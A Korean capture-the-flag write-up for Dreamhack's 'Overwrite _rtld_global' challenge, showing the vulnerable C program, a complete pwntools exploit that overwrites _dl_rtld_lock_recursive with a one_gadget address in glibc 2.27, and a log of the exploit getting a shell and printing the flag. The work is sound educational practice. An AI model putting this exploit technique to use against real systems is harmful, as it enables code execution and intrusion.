dreamhack - Overwrite _rtld_global writeup
[dreamhack] overwrite rtld writeup
1. 문제

Overwrite _rtld_global
Exploit Tech: _rtld_global에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3602. 풀이
#include <stdio.h>
#include <stdlib.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
long addr;
long data;
int idx;
init();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("addr: ");
scanf("%ld", &addr);
printf("data: ");
scanf("%ld", &data);
*(long long *)addr = data;
break;
default:
return 0;
}
}
return 0;
}
stdout
의 주소를 공개해주고, 원하는 주소에 원하는 값을 쓰도록 한다.
이전의 rtld
문제랑 그냥 똑같은 문제이다.
그래서 그냥 도커 환경 세팅하고 똑같이 해결하려했는데, 이유를 알 수 없는 문제로 안됐다.
알고보니 도커에서 사용하는 ld.so
와 문제에서 준 ld.so
가 뭔가 미묘하게 달라서 offset이 안맞는 것 같았다.
결국 pwntools
를 활용해서 문제가 제공한 ld.so
를 기준으로 오프셋을 구해서 했더니 됐다… 진짜 화딱지남.
from pwn import *
#p = process("./ow_rtld")
p = remote("host3.dreamhack.games", 8792)
#p = remote("localhost", 7182)
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
p.recvuntil(b"stdout: ")
stdout_addr = int(p.recv(14).decode(), 16)
# local
#libcbase = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
#ldbase = libcbase + 0x400000
#_rtld_global = ldbase + 0x228060
#_dl_rtld_lock_recursive = _rtld_global + 0xf08
# remote
libcbase = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
ldbase = libcbase + 0x3f1000
_rtld_global = ldbase + ld.symbols["_rtld_global"]
_dl_rtld_lock_recursive = _rtld_global + 0xf08
og = libcbase + 0x4f322
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"addr: ", str(_dl_rtld_lock_recursive))
#pause()
p.sendlineafter(b"data: ", str(og))
p.sendlineafter(b"> ", b"0")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/overwrite_rtld_global$ python3 e_ow_rtld.py
[+] Opening connection to host3.dreamhack.games on port 8792: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/overwrite_rtld_global/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/overwrite_rtld_global/ld-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
/home/ubuntu/dreamhack/level2/overwrite_rtld_global/e_ow_rtld.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"addr: ", str(_dl_rtld_lock_recursive))
/home/ubuntu/dreamhack/level2/overwrite_rtld_global/e_ow_rtld.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"data: ", str(og))
[*] Switching to interactive mode
$
$ id
uid=1000(ow_rtld) gid=1000(ow_rtld) groups=1000(ow_rtld)
$ cat flag
DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293}
해결~